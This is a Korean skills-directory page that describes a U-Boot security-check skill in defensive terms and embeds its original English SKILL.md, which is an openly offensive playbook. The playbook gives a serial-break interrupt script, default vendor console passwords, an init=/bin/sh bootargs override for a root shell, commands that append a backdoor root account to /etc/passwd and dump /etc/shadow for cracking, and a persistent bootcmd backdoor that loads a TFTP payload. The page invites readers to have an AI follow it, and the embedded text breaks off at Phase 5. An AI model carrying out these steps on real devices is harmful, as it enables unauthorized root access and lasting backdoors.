본문으로 건너뛰기
Skillpedia
보안6.5k · #14096

bootloader-uboot

하는 일

이 가이드는 라우터와 임베디드 보드에서 흔히 쓰이는 부트로더 U-Boot의 보안 점검을 다룹니다. 자사 하드웨어를 보호하는 제품 보안 팀을 위한 것입니다.

사용하는 경우

  • ✓제품 팀이 부트 콘솔이 보호되는지 확인하려는 경우.
  • ✓허가된 하드웨어 검토에서 보안 부팅 설정을 확인해야 할 때.
  • ✓장치가 부트 지연 시간을 0으로 두거나 보호 없이 출하되는 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/iot/bootloader-uboot/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/iot/bootloader-uboot/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“우리 라우터는 U-Boot를 씁니다. 부트 콘솔이 허가되지 않은 변경으로부터 보호되는지 확인해 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 테스트 장치에서 부트 콘솔 접근 설정과 부트 변수를 검토하고, 빠진 보호 조치를 보고합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

U-Boot Bootloader Attack

U-Boot is the dominant open-source bootloader for embedded Linux devices. A UART console with an unpatched autoboot allows complete OS compromise without touching the running filesystem: override bootargs, pass init=/bin/sh, and land a root shell before init starts.

Prerequisites

  • UART console connected (see firmware-acquisition skill, Tier 1).
  • Serial terminal: screen /dev/ttyUSB0 115200 or picocom -b 115200 /dev/ttyUSB0.
  • Physical access to power-cycle the device.
  • Tools (optional, for scripted attacks): minicom, expect, python3-serial.

Phase 1 — Console Interrupt

1a. Manual interrupt

1. Open serial terminal BEFORE powering device.
2. Apply power.
3. Watch for U-Boot banner:
     U-Boot 2020.01 (Jan 01 2020)
     ...
     Hit any key to stop autoboot: 3 2 1
4. Press any key (spacebar reliable) during countdown to get '=>' prompt.

If autoboot completes before interrupt: power-cycle and try again. Some devices accept keys up to 500ms before the countdown appears.

1b. When autoboot_delay is 0 or password-protected

# Approach A: Interrupt via UART break signal (before U-Boot banner)
python3 -c "
import serial, time
s = serial.Serial('/dev/ttyUSB0', 115200)
s.send_break(duration=0.5)
time.sleep(0.1)
s.write(b'\r\n')
print(s.read(200))"

# Approach B: Hardware glitch to reset autoboot timer (see Phase 5)

# Approach C: Some vendors compile with CONFIG_AUTOBOOT_KEYED_CTRLC=y
#   Try: Ctrl+C, then 'adc', then model-specific passwords
#   Common: 'aDm1n+' '3008' 'anko' 'GM8182' 'realtekk' 'password'

Phase 2 — Environment Inspection

# At U-Boot => prompt:

# Print ALL environment variables
printenv

# Key variables to examine:
# bootargs    = kernel command line (target for init override)
# bootcmd     = boot command sequence (target for persistence)
# ipaddr      = device IP (useful for TFTP)
# serverip    = TFTP server IP
# netmask     = subnet mask
# mtdparts    = flash partition map (offsets for SPI dump / write)
# fdtcontroladdr = FDT address (check secure-boot flags here)

2a. Flash partition map extraction

=> mtdparts
=> flinfo           # (older U-Boot) detailed partition info
=> cat /proc/mtd    # (from Linux, if booting fails) — compare with mtdparts

Expected output example:

mtdparts=spi0.0:256k(u-boot),64k(u-boot-env),64k(factory),2048k(kernel),5888k(rootfs),-(storage)

Phase 3 — bootargs Override → init=/bin/sh

This is the primary exploitation primitive: replace the kernel init process with a root shell before any authentication or privilege separation occurs.

# Inspect current bootargs
=> printenv bootargs
# Example: root=/dev/mtdblock3 rootfstype=squashfs console=ttyS0,115200 noinitrd

# Override: append init=/bin/sh (or replace init entirely)
=> setenv bootargs "root=/dev/mtdblock3 rootfstype=squashfs console=ttyS0,115200 noinitrd init=/bin/sh"

# Boot with modified args (trigger the original bootcmd)
=> run bootcmd

# Alternative: load kernel manually and boot with setenv bootargs
=> tftpboot 0x80000000 uImage
=> setenv bootargs "root=/dev/mtdblock3 rootfstype=squashfs console=ttyS0,115200 init=/bin/sh"
=> bootm 0x80000000

Once the kernel drops to /bin/sh:

# Remount rootfs read-write
mount -o remount,rw /
# Add backdoor account
echo 'backdoor:x:0:0:root:/root:/bin/sh' >> /etc/passwd
# Set password
passwd backdoor    # or directly edit shadow
# Or extract /etc/shadow for offline crack
cat /etc/shadow

3a. Single-user mode (alternative)

# Append 'single' or 'S' to bootargs for systemd/SysV init single-user mode
=> setenv bootargs "${bootargs} single"
=> run bootcmd

Phase 4 — Persistent Environment Modification

# Save modified environment to flash (survives reboot)
=> saveenv
# Warning: only do this if persistence is in RoE scope.
# Revert with:
=> setenv bootcmd "<original_value>"
=> saveenv

# Add persistent backdoor via bootcmd (executes on every boot)
=> setenv bootcmd "run addbackdoor; run origbootcmd"
=> setenv addbackdoor "run bootargs; echo 'backdoor::0:0::/:/bin/sh' >> /etc/passwd"
# NOTE: >> redirect not available in all U-Boot versions; use fatwrite / ext4write instead

# Persist via TFTP-loaded script
=> setenv serverip 192.168.1.10
=> setenv ipaddr 192.168.1.100
=> tftpboot 0x80000000 payload.scr
=> source 0x80000000

Phase 5 — Secure Boot Bypass

5a. Identify secure

자주 묻는 질문

U-Boot란 무엇인가요?

많은 임베디드 장치에서 운영체제를 시작하는 오픈소스 부트로더입니다.

보안 부팅이란 무엇인가요?

서명된 소프트웨어만 장치에서 시작되도록 하는 검사이며, 가이드는 이를 핵심 방어 수단으로 언급합니다.

콘솔이 왜 문제인가요?

열린 콘솔은 부트 설정을 바꾸고 다른 시스템을 불러올 수 있다고 가이드는 말합니다.

상세 정보

작성자의 원본 설명

U-Boot bootloader attack playbook — console interrupt to break the autoboot countdown, environment variable inspection and manipulation, bootargs override to spawn init=/bin/sh, secure-boot bypass techniques, and fault-injection basics (voltage and clock glitching). Covers MIPS, ARM, and AArch64 targets.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#14096
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬